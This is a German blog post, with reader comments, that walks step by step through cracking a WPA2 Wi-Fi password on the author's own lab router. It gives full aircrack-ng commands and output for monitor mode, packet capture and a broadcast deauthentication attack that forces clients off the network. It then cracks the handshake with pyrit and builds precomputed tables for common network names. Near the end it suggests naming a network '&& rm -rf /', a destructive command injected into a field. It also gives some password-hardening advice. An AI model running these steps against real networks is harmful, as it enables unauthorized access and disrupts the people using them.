Nachdem ich mir ja bereits angeschaut habe wie man einem mit WEP verschlüsselten Wlan zu leibe rücken kann schau ich mir heute einmal an was man denn gegen ein mit WPA2 gesichertes ausrichten kann. Bei WPA2 ist die Sache nicht mehr ganz so einfach wie im Falle von WEP. Während die Sicherheit bei WEP inzwischen nicht mehr vorhanden ist hängt sie bei dem aktuell meist verwendeten WPA2 stark vom Passwort ab.
Bei WPA2 sind wir also auf das ausprobieren von Passwörtern angewiesen. Die gute Nachricht ist das man nicht darauf angewiesen ist Passwörter aktiv gegen ein Live Wlan zu testen. Alles was man braucht ist ein einziger Handshake, also ein Verbindungsaufbau von einem Client zum Access Point. Um an einen solchen Handshake zu kommen versetzen wir zunächst unsere Wlankarte, in meinem Fall Wlan1, mit Hilfe eines Tools aus der Aircrack-ng Toolsammlung in den Monitormode.
root@brecht-lab:~/wlan# airmon-ng start wlan1
Airmon-ng ist als Tool weitestgehend selbsterklärend durch den oberen Befehl wir der Monitormode auf dem entsprechenden Wlaninterface aktiviert und ein neues virtuelles Interface, in meinem Fall mon0, für die empfangenen Daten angelegt. Welche Wlaninterfaces auf dem Rechner existieren und welcher Wlanchipsatz dort jeweils zum Einsatz kommt lässt sich recht einfach durch die Eingabe von Airmon-ng ohne Parameter herausfinden.
root@brecht-lab:~/wlan# airmon-ng Interface Chipset Driver wlan0 Intel 4965AGN iwl4965 - [phy0] mon0 Realtek RTL8187L rtl8187 - [phy1] wlan1 Realtek RTL8187L rtl8187 - [phy1]
Man kann hier sehr schön sehen das ein Anlegen meines virtuellen mon0 Interfaces anscheinend geklappt hat. Jetzt bringt uns der Monitormode natürlich allein noch nicht zu einem entsprechenden Ergebnis, wir brauchen einen Scanner. Ein Tool das für uns die Kanäle der Wlankarte durchschaltet und uns die Informationen mit welchen Wlans wir es zu tun haben ein wenig aufbereitet. Airodump-ng ist hier der perfekte Kandidat, zum einen weil wir so direkt bei der Aircrack-ng Toolsammlung bleiben und zum anderen finde ich das Tool für die Aufgabe die ich ihm heute zugedacht habe recht praktisch.
Der Aufruf gestaltet sich vorerst noch recht einfach und besteht nur aus dem Befehl und dem entsprechenden Interface.
root@brecht-lab:~/wlan# airodump-ng mon0
Als Ausgabe ergibt sich daraus in meinem Fall folgendes.
CH 3 ][ Elapsed: 28 s ][ 2014-01-05 14:00 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:04:0E:6B:00:B5 -48 37 0 0 13 54 WPA TKIP PSK brechtnet 00:25:9C:CF:89:14 -57 53 3 0 9 54e WPA2 TKIP PSK FRITZ!Box Fon WLAN BSSID STATION PWR Rate Lost Frames Probe 00:25:9C:CF:89:14 00:1D:E0:94:8A:E1 -12 36e-36e 0 3
Lässt man airodump-ng etwas Zeit wird sich die Anzeige extrem schnell mit diversen Wlans aus der Umgebung füllen, die meiner Nachbarn habe ich hier jetzt einmal herausgeschnitten da uns diese für die kleine Demonstration hier nicht Interessieren. Wir sehen hier also insgesamt 2 Wlannetze und einen verbundenen Client, alle davon sollten von den Signalstärken her ich einem passenden Bereich liegen. Für unseren kleinen Versuch benutzen wir heute den 2ten der beiden APs, das Wlan mit der Kennung „FRITZ!BOX FON WLAN“. Warum genau sich mein kleiner Linksys Router für diese Demonstration als FRITZ!Box ausgibt wird später noch klar werden. Bis dahin sollte als Begründung für unsere Entscheidung allerdings genügen das er der einzige AP mit einem Verbundenen Client ist. Zumindest von denen die ich hier aktuell zeige 😉 Wir haben jetzt also unser Ziel und müssen demnach unseren Airodump-ng Aufruf ein wenig modifizieren, zum einen um die mitgeschnittenen Packete auch zu speichern und zum anderen um airodump auch auf einen Kanal festzunageln. Nicht das ein Handshake genau dann abläuft wenn wir gerade auf einem anderen Kanal Packete mithören.
root@brecht-lab:~/wlan# airodump-ng --channel 9 --bssid 00:25:9C:CF:89:14 --write wpa2-dump mon0
Von den Parametern her ist auch diese Eingabe relativ selbsterklärend, der Vollständigkeit halber sei es hier noch einmal genau erklärt.
Der Parameter –channel 9 sagt uns das wir auf Kanal 9 lauschen wollen, –write wpa2-dump gibt die Benennung der Ausgabedateien an und mon0 ist unser Wlaninterface.
Der Parameter –bssid 00:25:9C:CF:89:14 dient dazu nur Packete von oder zu dem Access Point mit der entsprechenden Kennung mitzuschneiden und dient hier im wesentlichen dem Schutz meiner Nachbarn. Als Ausgabe zeigt uns Airodump-ng das bereits bekannte Interface, jetzt allerdings auf einen Access Point beschränkt.
CH 9 ][ Elapsed: 3 mins ][ 2014-01-05 14:25 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:25:9C:CF:89:14 -49 100 2229 273 0 9 54e WPA2 TKIP PSK FRITZ!Box Fon WLAN BSSID STATION PWR Rate Lost Frames Probe 00:25:9C:CF:89:14 00:1D:E0:94:8A:E1 -9 1e-48e 0 344
Wir schneiden also bereits aktiv Daten auf der Verbindung mit. Um jetzt an einen Handshake zu kommen gibt es mehrere unterschiedliche Varianten. Zum einen die Zeitraubende, langweilige dafür aber unauffälligste Varriante: warten. Früher oder später werden wir den Verbindungsaufbau eines Clients mitschneiden können.
Oder aber die 2te viel schnellere dafür aber auffälligere Variante: Wir zwingen den Client zu einem Neuaufbau der Verbindung, ist jetzt zwar nicht ganz die feine Art spart uns aber an dieser Stelle extrem viel Zeit.
In unserem Fall ist an dieser Stelle auch nicht wirklich Vorsicht geboten weshalb wir um den client von seinem Netz zu trennen recht brutal vorgehen können. Für diese Aufgabe öffnen wir eine zweite Konsole und verwenden das Tool Aireplay-ng.
root@brecht-lab:~/wlan# aireplay-ng --deauth 0 -a 00:25:9C:CF:89:14 mon0 14:39:16 Waiting for beacon frame (BSSID: 00:25:9C:CF:89:14) on channel 9 NB: this attack is more effective when targeting a connected wireless client (-c <client's mac>). 14:39:17 Sending DeAuth to broadcast -- BSSID: [00:25:9C:CF:89:14] 14:39:17 Sending DeAuth to broadcast -- BSSID: [00:25:9C:CF:89:14] 14:39:18 Sending DeAuth to broadcast -- BSSID: [00:25:9C:CF:89:14] 14:39:18 Sending DeAuth to broadcast -- BSSID: [00:25:9C:CF:89:14] 14:39:19 Sending DeAuth to broadcast -- BSSID: [00:25:9C:CF:89:14]
Hie bedeuten die Parameter im einzelnen folgendes. Mit –deauth 5 sagen wir dem Tool das er bitte 5 Deauth Nachrichten versenden soll, -a 00:25:9C:CF:89:14 ist die mac von unserem Access Point und mon0 noch immer unser verwendetes Interface.
Wie das Tool bereits richtig anmerkt könnten wir auch effektiver sein und einen Client mit angeben, so ein broadcast hat allerdings den vorteil das wir damit eventuell sogar mehr als einen client dazu überreden können eine neue Verbindung aufzubauen. Abgesehen davon hat es ja bereits funktioniert 😉
Das es Funktioniert hat erkennt man an der Ausgabe von Airodump-ng, die inzwischen so aussieht:
CH 9 ][ Elapsed: 26 mins ][ 2014-01-05 14:55 ][ WPA handshake: 00:25:9C:CF:89:14 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:25:9C:CF:89:14 -54 96 14328 4121 0 9 54e WPA2 TKIP PSK FRITZ!Box Fon WLAN BSSID STATION PWR Rate Lost Frames Probe 00:25:9C:CF:89:14 00:1D:E0:94:8A:E1 -13 36e-24e 0 4587
Freundlicher Weise zeigt uns das Tool direkt in der ersten Zeile an das es einen Handshake aufgezeichnet hat. Damit ist dann auch schon der aktive Teil unserer arbeit beendet und wir können sowohl airodump-ng als auch den Monitor Mode unserer Karte beenden. Für airodump-ng wird dies mit strg+C und für den Monitor Mode mir einem entsprechenden airmon-ng Befehl
root@brecht-lab:~/wlan# airmon-ng stop mon0 Interface Chipset Driver wlan0 Intel 4965AGN iwl4965 - [phy0] mon0 Realtek RTL8187L rtl8187 - [phy1] (removed) wlan1 Realtek RTL8187L rtl8187 - [phy1]
Damit ist dann die Vorarbeit für die wir eine Wlan Verbindung benötigen auch abgeschlossen, jetzt gilt es nur noch ein wenig Ordnung in die gesammelten Daten zu bringen.
In dem Verzeichniss auf unserer Festplatte in dem wir uns befinden sieht es inzwischen so aus.
root@brecht-lab:~/wlan# ls -ahl insgesamt 2,3M drwxr-xr-x 2 root root 4,0K Jan 5 14:28 . drwxr-xr-x 35 root root 4,0K Jan 5 00:47 .. -rw-r--r-- 1 root root 2,3M Jan 5 14:54 wpa2-dump-01.cap -rw-r--r-- 1 root root 487 Jan 5 14:55 wpa2-dump-01.csv -rw-r--r-- 1 root root 600 Jan 5 14:55 wpa2-dump-01.kismet.csv -rw-r--r-- 1 root root 2,7K Jan 5 14:55 wpa2-dump-01.kismet.netxml
Interessant ist für uns hier nur die .cap Datei. In dieser sind alle bisher gesammelten Packete und unser Handshake enthalten. In meinem Fall hier ist sie mit 2,3 MB noch recht klein. Gerade wenn man sich dafür entscheidet lieber etwas unauffälliger zu arbeiten wird diese Datei extrem schnell extrem groß. Schauen wir für den Anfang aber mal was uns die Datei zu bieten hat. Hierfür verlassen wir jetzt die Aircrack-ng Toolsammlung, die natürlich auch entsprechende Knackprogramme zur Verfügung stellt doch meine persönliche Präferenz beim knacken von solchen Schlüsseln liegt aktuell auf dem in Python geschriebenen Tool pyrit.
Um uns einen Überblick über die cap Datei zu verschaffen verwenden wir folgenden Befehl:
root@brecht-lab:~/wlan# pyrit -r wpa2-dump-01.cap analyze Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Parsing file 'wpa2-dump-01.cap' (1/1)... Parsed 119 packets (119 802.11-packets), got 1 AP(s) #1: AccessPoint 00:25:9c:cf:89:14 ('FRITZ!Box Fon WLAN'): #1: Station 00:1d:e0:94:8a:e1, 3 handshake(s): #1: HMAC_MD5_RC4, good, spread 1 #2: HMAC_MD5_RC4, good, spread 1 #3: HMAC_MD5_RC4, good, spread 1
Die Ausgabe zeigt uns in diesem Fall das wir insgesamt 119 Packete und 3 Handshakes gesammelt haben. Einer hätte uns zwar ausgereicht, doch der DeAuth scheint erfolgreicher gewesen zu sein als wir es eigentlich beabsichtigt haben. Um unsere kleine Datei jetzt nur auf die Handshakes zu beschränken verwenden wir pyrit mit der Option strip.
root@brecht-lab:~/wlan# pyrit -r wpa2-dump-01.cap -o handshakes.cap strip Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Parsing file 'wpa2-dump-01.cap' (1/1)... Parsed 119 packets (119 802.11-packets), got 1 AP(s) #1: AccessPoint 00:25:9c:cf:89:14 ('FRITZ!Box Fon WLAN') #0: Station 00:1d:e0:94:8a:e1, 3 handshake(s) #1: HMAC_MD5_RC4, good, spread 1 #2: HMAC_MD5_RC4, good, spread 1 #3: HMAC_MD5_RC4, good, spread 1 New pcap-file 'handshakes.cap' written (27 out of 119 packets)
Wir haben durch diese Eingabe die neue Datei handshakes.cap erzeugt in der dann auch nur noch die relevanten Packete für den Handshake enthalten sind. Dieser Vorgang des Herunterbrechens auf die Handshakes ist zwar nicht nötig, bei extrem großen cap Dateien aber zu empfehlen. Ganz nebenbei ermöglicht es einem im Zweifelsfall auf einen Onlinedienst zum knacken des entsprechenden Netzes zurückzugreifen ohne gleich den gesamten Datenverkehr zu liefern. Allein schon die Dateigröße zeigt uns an dieser Stelle das wir durch den strip einiges an Ballast los geworden sind.
root@brecht-lab:~/wlan# ls -ahl handshakes.cap -rw-r--r-- 1 root root 4,3K Jan 5 15:15 handshakes.cap
Jetzt kann der eigentliche Knackvorgang beginnen, aus performancegründen ist genau das der Zeitpunkt zu dem ich auf etwas deutlich stärkeres als meinen Laptop zurückgreiffe. Werfen wir doch aber Mal eben einen Blick darauf wie denn auf dem Laptop den ich hier verwende die Performance eines normalen Passwortangriffs aussehen würde. Dazu lassen wir uns von pyrit mit der Option benchmark die Anzahl der Passwörter pro Sekunde anzeigen die er denn durchprobieren könnte.
root@brecht-lab:~/wlan# pyrit benchmark Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Running benchmark (927.8 PMKs/s)... / Computed 927.83 PMKs/s total. #1: 'CPU-Core (SSE2)': 503.3 PMKs/s (RTT 3.3) #2: 'CPU-Core (SSE2)': 511.7 PMKs/s (RTT 3.3)
Knappe 1000 Passwörter pro Sekunde. Für meine persönliche Passwortliste mit etwas über 10000000 Einträgen würde sich also eine Dauer von ca. 10000 Sekunden, also unter optimalen Bedingungen knapp 2 3/4 Stunden ergeben. Im Notfall zwar eine noch recht annehmbare Zeit schön ist dann allerdings doch anders. Deshalb wechsele ich jetzt zu meinem Desktop PC, der zur not auch per VPN Tunnel remote zur Verfügung steht. Hier sieht es dank der neuen Grafikkarte mit der Performance schon deutlich besser aus.
brechthold@brecht-desk:~/wlan-wpa$ pyrit benchmark Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Running benchmark (58525.9 PMKs/s)... \ Computed 58525.92 PMKs/s total. #1: 'OpenCL-Device 'Pitcairn'': 61105.4 PMKs/s (RTT 2.7) #2: 'CPU-Core (SSE2/AES)': 791.9 PMKs/s (RTT 3.1) #3: 'CPU-Core (SSE2/AES)': 847.7 PMKs/s (RTT 2.9) #4: 'CPU-Core (SSE2/AES)': 845.3 PMKs/s (RTT 3.1)
Damit ist das Knacken eines WPA2 Passwortes doch gleich viel realistischer. In Extremfällen lässt sich da durchaus noch mehr Rechenleistung aufbieten aber für den Moment sollte das mehr als ausreichend sein. Zeit dem Ding mal ein wenig Arbeit zu geben, für den Anfang versuche ich mich mal an dem Passwort mit der ROCKYOU Passwortliste die jeder Kali Linux Installation beiliegt. Dazu verwendet man folgenden Befehl.
pyrit -r handshakes.cap -i /usr/share/wordlists/rockyou.txt.gz attack_passthrough
Hier sieht man auch einen der großen Vorteile beim umgang mit pyrit. Pyrit kann problemlos auch mit komprimierten Eingabedateien arbeiten. Da ich die Gelegenheit hier allerdings noch ein wenig nutzen will um auf meinen aktuellen Performancewerten mit der neuen Grafikkarte herumzureiten setzen wir dem Befehl ein time voran.
brechthold@brecht-desk:~/wlan-wpa/target$ time pyrit -r handshakes.cap -i /usr/share/wordlists/rockyou.txt.gz attack_passthrough Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Parsing file 'handshakes.cap' (1/1)... Parsed 27 packets (27 802.11-packets), got 1 AP(s) Picked AccessPoint 00:25:9c:cf:89:14 ('FRITZ!Box Fon WLAN') automatically. Tried 40002 PMKs so far; 13114 PMKs per second. The password is '12345678'. real 0m4.307s user 0m9.496s sys 0m0.100s
Wie man durch die Ausgabe von time am Ende sieht wurde das Passwort in diesem Fall bereits nach ein paar Sekunden geknackt und lautet 12345678. Da in der Praxis allerdings meist nicht ganz so einfache Passwörter verwendet werden und leider Aufgrund großflächigen Versagens der Netzbetreiber nicht immer Zugriff auf seinen „großen“ Rechner Zuhause hat bietet pyrit eine weitere Möglichkeit um das Ausprobieren der Passwörter zu beschleunigen. Zumindest bei bekannten Netzwerknamen.
Bei WPA und WPA2 fliest in die Verschlüsselung der Name des Wlans, also der essid, mit ein. Dadurch sollen Angriffe per vorberechneter Hashtabellen, sogenannten Rainbowtables, verhindert werden. Wenn man sich jetzt allerdings die Wlanlandschaft in seiner Umgebung etwas näher anschaut (in meinem Fall zuletzt großflächig geschehen vor ein paar Jahren) stellt man fest das sich gewisse Netzwerknamen regelmäßig wiederholen. Für diese wiederkehrenden Netzwerknamen lohnt sich also eine Vorberechnung, zumindest wenn man davon ausgeht das man mehr als einmal mit einem solchen Netz konfrontiert wird. Um solche Tabellen zu erzeugen sind mir für WPA/WPA2 im wesentlichen 3 Tools bekannt: ariolib-ng, cowpatty und eben pyrit. Letzeres hat den Vorteil auch in die anderen beiden Formate exportieren zu können, wenn man mal ganz davon absieht das aufgrund der CPU Nutzung die Berechnung hier deutlich schneller von statten geht. So eine Hashtabelle bietet auch den großen Vorteil das man hier mehr als eine Passwortliste hineinwerfen kann und das jeweilige Tool dann alle ungeeigneten bzw. doppelten Passwörter automatisch entfernt. Gerade bei Leuten wie mir ist das ein nicht zu unterschätzendes Argument.
Eine solche Tabelle zu erzeugen ist im Prinzip mit pyrit recht einfach. Zunächst fügen wir einmal eine Passwortliste der Datenbank hinzu. Der Einfachheit halber wähle ich hier den default Datenbankmodus von pyrit mit File Backend. In größeren/verteilten Installationen beherrscht pyrit auch so ziemlich alle arten von SQL als Backend. Wie ein solches Setup aussieht spare ich mir dann aber mal für einen eigenen Artikel auf, da dieser hier jetzt schon jeden Rahmen sprengt 😉 Kommen wir also zurück zur der Passwortliste.
brechthold@brecht-desk:~/wlan-wpa/target$ pyrit -i /wordlists/FULLlist.txt import_passwords Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. 47024990 lines read. Flushing buffers.... . All done.
Damit hätte ich dann jetzt einfach einmal 47000000 Passwörter in die Datenbank eingefügt. Was jetzt noch fehlt ist das hinzufügen von den Netzwerknamen.
brechthold@brecht-desk:~/wlan-wpa/target$ pyrit -e 'FRITZ!Box Fon WLAN' create_essid Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. ESSID already created
In meinem Fall meckert pyrit hier zurecht das der Netzwerkname bereits in der Datenbank enthalten ist. Unter normalen Umständen würde der Befehl aber so funktionieren. Damit lüftet sich dann auch das Geheimnis warum sich mein WRT Router seit neuestem als „FRITZ!Box Fon WLAN“ ausgibt. Dieser Netzwerkname gehört aktuell mit zu den am meisten verbreiteten.
brechthold@brecht-desk:~/wlan-wpa/target$ pyrit batch
Dieser Befehl Startet dann die Berechnung der Hashtablle mit allen gespeicherten Passwörtern für alle hinterlegten Netzwerknamen. Da ich gerade mal eben 47000000 Passwörter in die Datenbank gepumpt habe dauert das seine Zeit. Glücklicherweise hätte ich da aber einmal etwas vorbereitet.
brechthold@brecht-desk:~/wlan-wpa/target$ pyrit eval Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Passwords available: 49181675 ESSID 'FRITZ!Box Fon WLAN' : 10641421 (21.64%)
Durch dieses Kommando erhalten wir einen Einblick wie es denn in der Datenbank aktuell aussieht. Die Ausgabe hier habe ich ein wenig angepasst und die anderen Netzwerknamen in meiner Datenbank einfach einmal herausgeschnitten. Mit ein wenig Suchaufwand kann allerdings jeder selbst die aktuelle Topliste der Netzwerknamen im Internet finden. In meiner befinden sich allerdings auch ein paar Firmennetzwerke denen ich aus beruflichen Gründen bereits zuleibe gerückt bin, ich bin mir recht sicher das die entsprechenden Firmen sich nicht unbedingt mit einem solchen Thema in Verbindung bringen wollen, daher die Verkürzung der Ausgabe.
Nachdem jetzt unsere Hashtabellen erzeugt sind wird es Zeit einmal zu prüfen was uns das in der Paxis an Geschwindikeitsvorteil bringt.
brechthold@brecht-desk:~/wlan-wpa/target$ time pyrit -r handshakes.cap attack_db Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. Parsing file 'handshakes.cap' (1/1)... Parsed 27 packets (27 802.11-packets), got 1 AP(s) Picked AccessPoint 00:25:9c:cf:89:14 ('FRITZ!Box Fon WLAN') automatically. Attacking handshake with Station 00:1d:e0:94:8a:e1... Tried 2943505 PMKs so far (31.2%); 1859870 PMKs per second. The password is '12345678'. real 0m2.300s user 0m2.908s sys 0m0.192s
Ja, doch die Beschleunigung ist schon deutlich erkennbar. Die paar Sekunden spielen jetzt zwar bei unserem Beispiel nicht unbedingt die große Rolle, aber allein schon die Tatsche das wir jetzt ähnlich niedrige Zeiten auf einem Laptop erzielen könnten ist es doch schon fast wert. In der Praxis nutze ich diese Angriffsmethode häufiger, wie ich bereits anklingen lies, um mich auf ein bestimmtes Netzwerk vorzubereiten. Ich schaue mir also wenn ich sowieso bereits vor Ort bin an was dort als Netzwerkname existiert, das geht unaufälligerweise mit jedem halbwegs modernen Telefon. Bevor ich dann zur Tat schreite lasse ich meinen „großen“ ein paar Stunden eine entsprechende Tabelle erzeugen die dann auf dem Laptop landet um den eigentlichen Angriff durchzuführen.
Das diese kleinen Taschenspielertricks höchst illegal sind wenn man keine Erlaubnis hat sich das entsprechende Netzwerk genauer anzuschauen brauche ich wahrscheinlich nicht dazu zu schreiben tue es der Vollständigkeit halber hier trotzdem. So ganz nebenbei ist ein solcher Angriff nicht immer von Erfolg gekrönt. Wir sind hier stark darauf angewiesen das jemand ein Passwort gewählt hat das sich auch in einer unserer Listen befindet. In der Praxis sollte man seine Passwortliste also immer auch ein wenig dem Ziel anpassen. Im Falle von Firmen sind hier Produktnamen bzw. der Name der Firma selbst usw. eine lohnende Ergänzung zu den schon bestehenden Listen. Man sollte auch nie vergessen das es gerade in großen Firmen viel einfachere Wege gibt an solche Passwörter zu kommen als der direkte Angriff auf den Schlüssel, gerade Firmenlaptops sind hier immer ein gern genommener Angriffspunkt.
Neben dem hier gezeigten Weg gibt es auch viele andere Methoden und Tools um die Passwörter auszuprobieren bzw. auch schon um den Handshake aufzuzeichnen, eine andere Möglichkeit besteht beispielsweise in der Nutzung von Wifite. Einige Router vereinfachen den Zugang auch weiter durch andere Schwachstellen. Hauptsächlich fallen mir da im Moment die EasyBox mit ihrem default Passwort das sich aus der Hardwareadresse berechnet und Router mit einer ungepatchten WPS Schwachstelle ein. Man sieht also mit Wlan werden wir noch einige Jahre unseren Spaß haben 😉
Was für lehren kann man aus dem ganzen jetzt für sein eigenes Wlan ziehen? Standartnetzwerknamen sind keine gute Idee und Passwörter sollten möglichst nicht aus dem nächstbesten Wörterbuch gewählt werden. Gerade bei Wlanpasswörtern die man in der Regel genau einmal pro Gerät eingeben muss bietet es sich an ein etwas längeres Passwort oder besser ganze Sätze zu verwenden um das Netzwerk zu schützen. Wer etwas mehr Spaß mit seinem Wlan haben will dem sei aus Erfahrung gesagt das man sich auch mit Steuer und Sonderzeichen in der Wlankennung extrem viele Freunde machen kann. Wer sein Netzwerk also unbedingt „&& rm -rf /“ nennen will, kann das gerne tun, sollte sich aber auch darauf vorbereiten das eventuell nicht jedes Tool das mit Wlannamen arbeitet den Netzwerknamen richtig interpretiert. Einigen Tools die da gerade im Umlauf sind traue ich ehrlich gesagt nicht so wirklich weit über den Weg. Nutzung also wie immer auf eigene Gefahr 😉 Trotzdem noch viel Spaß beim kreativ werden.
Kleines Update vom 29.10.2014:
So ganz falsch lag ich wohl mit meiner Vermutung nicht das einige Tools nicht sauber mit den von Wlan APs empfangenen Daten umgehen. Von den eigentlichen Clienttools unter Linux hätte ich aber ein wenig mehr erwartet als den WPA-Bug hier. Ich glaube ich sollte mich in der nächsten Zeit einmal mit den Angriffsmöglichkeiten von AP in Richtung Client auseinandersetzten. Diesen Bereich habe ich mir bereits seit einigen Jahren nicht mehr genauer angeschaut und ich bin sicher das es da einiges zu holen gibt.
Hallo brechthold,
deinen bolg find ich sehr interessant, ich bin sehr daran interessiert stehts meine sicherheitslücken zu entdecken und zu stopfen. Dank dir hab ich viel zum Thema WLAN, WEP, WAP und WAP2 sowie WPS hinzu lernen dürfen und können 😉
Ich habe mir nun die arbeit gemacht und auch mal eine Rainbow-Tabelle erstellt, nun würde ich aber gerne wissen wie ich diese später wieder finden kann, denn wenn ich diese mal für einen kollegen nutzen möchte, wüsste ich jetzt nicht, wie ich diese später ein zweites mal auffinden bzw aufrufen könnte um dort nachträglich essid’s eintragen zu können. Gern würd ich sie auch sichern können, da ich in Kali alles abgesucht habe was nach eine passwortliste ausschaut. Diese arbeit möchte ich ungern ein zweites mal auf mich nehmen. Und auch um weitere Passwörter hinzu zu fügen wäre es in meinen augen ratsam wenn ich wüsste wo diese Tabelle mit welchem Namen sie liegt.
Ich danke dir für deinen Blog und auch im vorraus für deine Mühen.
MFG
Moin,
zunächst mal sorry wegen der etwas zerstörten Captacha Sache hier im Blog. Werde ich definitiv irgendwann in nächster Zeit einmal angehen das gerade zu ziehen, führte nur beim letzten Versuch zu einem etwas erhöhten Spamaufkommen weshalb ich das dann relativ schnell wieder in seinen „Kaputt“ Zustand versetzt habe.
Was die Rainbowtables angeht würde meine Antwort wohl etwas länger ausfallen. Deshalb würde ich sagen das ich speziell dazu in den nächsten Tagen mal einen Artikel online stellen werde. Der Blog diente bisher eher als kleines Backlog bzw. Gedächtnisstütze für mich und ich ging eher weniger von einem Leserpublikum aus dem ich hier etwas neues erzähle, deshalb kann es sein das ich das ein oder andere mal ein paar Grundlagen schlicht vergesse. Ich werde dann mal versuchen mich in Zukunft zu bessern.
Was WPS angeht würde ich jetzt einmal sagen das ich dazu bisher nicht wirklich etwas geschrieben hatte und das aus einem relativ guten Grund. Bei WEP verschlüsselung war die Entscheidung hier eine Anleitung zu veröffentlichen relativ einfach. Wer soetwas 2014 noch einsetzt verdient seine Mitsurfer. Bei WPA/WPA2 gibt es bisher meines Wissens nach nur passwortbasierende Angriffe, auch hier gilt: „Wer nicht in der Lage ist ein ordentliches Passwort zu wählen hat es nicht besser verdient“. Bei WPS ist es ein wenig anders.
Wer vor Jahren von der WPS Lücke getroffen wurde hatte eigentlich nur die Möglichkeit seinen Router zu Updaten. Nicht alle Routerhersteller haben es bis heute geschafft brauchbare Updates zu veröffentlichen und es gibt leider noch immer Leute die keine Ahnung davon haben das man so ein Plastikding ab und an auch Updaten muss. Natürlich kann man auch hier argumentieren das es die Leute dann nicht besser verdient hätten, doch das möchte ich nicht wirklich Leuten im alter von 70+ erklären die der Meinung sind das es im Internet irgendwie nur Porn,Amazon und Ebay gibt.
Also nochmal in Kürze:
Rainbowtables kommt demnächst, WPS und ähnliches spare ich mir noch ein paar Jahre auf.
So muss mich dann nochmal korrigieren. Nachdem ich mir meinen eigenen Artikel wieder durchgelesen hatte musste ich feststellen das dort eigentlich bereits alles steht das man zur Erstellung einer entsprechenden Passwortdatenbank benötigt. Mit „pyrit -i /wordlists/FULLlist.txt import_passwords“ lassen sich Passwörter zur Datenbank hinzufügen, mit „pyrit -e ‚FRITZ!Box Fon WLAN‘ create_essid“ entsprechende ESSIDs. „pyrit batch“ startet dann die Erzeugung bzw. Erweiterung der Datenbank.
Die Datenbanken die Pyrit erzeugt sind im Home-Dir des aufrufenden Users im Ordner „.pyrit“ hinterlegt, also „~/.pyrit“. Alles weitere sollte man sich aus der Manpage von pyrit heraussuchen können.